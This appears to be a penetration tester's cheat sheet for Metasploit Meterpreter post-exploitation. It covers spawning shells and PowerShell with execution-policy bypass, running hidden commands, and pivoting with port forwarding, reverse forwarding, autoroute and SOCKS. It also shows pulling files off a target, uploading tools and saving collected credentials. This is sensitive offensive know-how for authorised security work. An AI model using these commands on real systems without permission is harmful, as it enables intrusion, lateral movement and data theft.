Meterpreter Operations

Start an OS shell or PowerShell from a Meterpreter session, then use port forwarding to reach internal services.

Entering and leaving sessions

sessions -l
sessions -i 1
# Work at the Meterpreter prompt
background

background or Ctrl-Z returns to msfconsole.

Opening a shell

Interactive shell

shell

On Windows, this opens cmd.exe; on Linux, it opens the target’s default shell. Run exit to return.

This is a semi-interactive shell connected through a channel. For work requiring terminal control, such as vim or tmux, and for limitations of shell -t / shell -it and obtaining a full TTY with socat / nc, see Fully Interactive TTY.

To run one noninteractive command, use Meterpreter’s execute or a post module’s cmd_exec.

execute -f cmd.exe -a "/c whoami" -i -H

-i connects input and output; -H hides the window.

PowerShell

When the PowerShell extension is available in Windows Meterpreter, use:

load powershell
powershell_shell

To run a single line:

powershell_execute Get-Process
powershell_execute -s <session-id> Get-Date

To import a script or assembly:

powershell_import /path/to/script.ps1
powershell_import /path/to/helper.dll

If the extension is missing or unavailable, launch PowerShell through the regular shell.

shell
powershell -nop -ep bypass

portfwd

Meterpreter’s portfwd forwards a local port on the attacker machine through the session to a port on another host. Its implementation is lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb.

Normal port forwarding (attacker machine → internal host)

Listen on 127.0.0.1:1090 on the attacker machine and connect from the Meterpreter target to 169.254.37.128:443.

portfwd add -l 1090 -p 443 -r 169.254.37.128
portfwd list

Example use from the attacker machine:

curl -k https://127.0.0.1:1090/

Main arguments:

Argument	Meaning
-l	Port to listen on at the attacker machine
-p	Destination port
-r	Destination host, as seen from Meterpreter
-L	Local host to listen on (normally localhost if omitted)
-R	Reverse port forwarding
-i	Index used when deleting a forwarding rule

Reverse port forwarding

-R reverses the direction: listen on the target and connect to a host and port on the attacker machine.

portfwd add -R -l 4444 -p 4444 -L 10.10.16.10

Configure normal forwarding with -l/-r/-p. Use reverse forwarding when needed.

Removing forwarding rules

portfwd list
portfwd delete -i 1
portfwd flush

Routes and SOCKS (related)

Use autoroute to send Metasploit module traffic for an entire subnet through a session. portfwd tunnels a specific port; route directs module traffic for a subnet.

run post/multi/manage/autoroute verbose=true session=3 subnet=172.16.1.0 netmask=255.255.255.0
route print

Example SOCKS proxy setup:

use auxiliary/server/socks_proxy
run -j verbose=true srvhost=127.0.0.1 srvport=1080
jobs -l

When finished, check for routes and jobs that are no longer needed.

route print
jobs -l
portfwd list
# If needed
jobs -K
route flush
portfwd flush

Common status commands

sysinfo
getuid
getpid
ps
ipconfig
pwd
ls
download C:\\Users\\user\\Desktop\\file.txt /tmp/
upload /tmp/tool.exe C:\\Windows\\Temp\\tool.exe

When you collect files or credentials, store them according to the loot and notes guidance in Basics and the Database.